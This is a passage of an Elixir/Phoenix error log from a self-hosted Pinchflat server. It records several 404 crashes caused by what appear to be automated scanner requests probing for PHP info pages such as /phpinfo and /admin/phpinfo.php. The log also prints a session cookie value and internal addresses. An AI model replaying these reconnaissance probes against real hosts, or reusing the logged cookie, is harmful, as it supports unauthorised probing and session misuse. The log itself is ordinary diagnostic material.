:"HTTP/1.1", path: "/php.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 56, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:32.726 [info] GET /pinfo.php 17:14:32.726 [debug] QUERY OK source="settings" db=0.1ms idle=794.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:32.727 [debug] QUERY OK source="settings" db=0.1ms idle=545.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:32.727 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:32.727 [error] #PID<0.11824.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 57) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /pinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 57, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11824.0>, params: %{}, path_info: ["pinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/pinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXIGBW1sA16YABVmB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 57, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /pinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/pinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 57, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: (truncated) 17:14:32.998 [info] GET /phpinfo 17:14:32.999 [debug] QUERY OK source="settings" db=0.2ms idle=544.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:32.999 [debug] QUERY OK source="settings" db=0.1ms idle=544.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:32.999 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:32.999 [error] #PID<0.11825.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 58) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /phpinfo ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 58, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11825.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXJG98FjTRGYABVoB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 58, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 58, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:33.271 [info] GET /admin/phpinfo.php 17:14:33.272 [debug] QUERY OK source="settings" db=0.1ms idle=545.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:33.272 [debug] QUERY OK source="settings" db=0.0ms idle=545.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:33.272 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:33.272 [error] #PID<0.11826.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 59) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /admin/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 59, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11826.0>, params: %{}, path_info: ["admin", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/admin/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXKIB5n-84z8ABVqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 59, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 59, host_info: :undefined }}, (truncated) 17:14:33.543 [info] GET /test/phpinfo.php 17:14:33.544 [debug] QUERY OK source="settings" db=0.1ms idle=611.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:33.544 [debug] QUERY OK source="settings" db=0.1ms idle=545.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:33.544 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:33.545 [error] #PID<0.11827.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 60) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /test/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 60, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11827.0>, params: %{}, path_info: ["test", "phpinfo"], path_params: %{}, port: 80, private: %{ 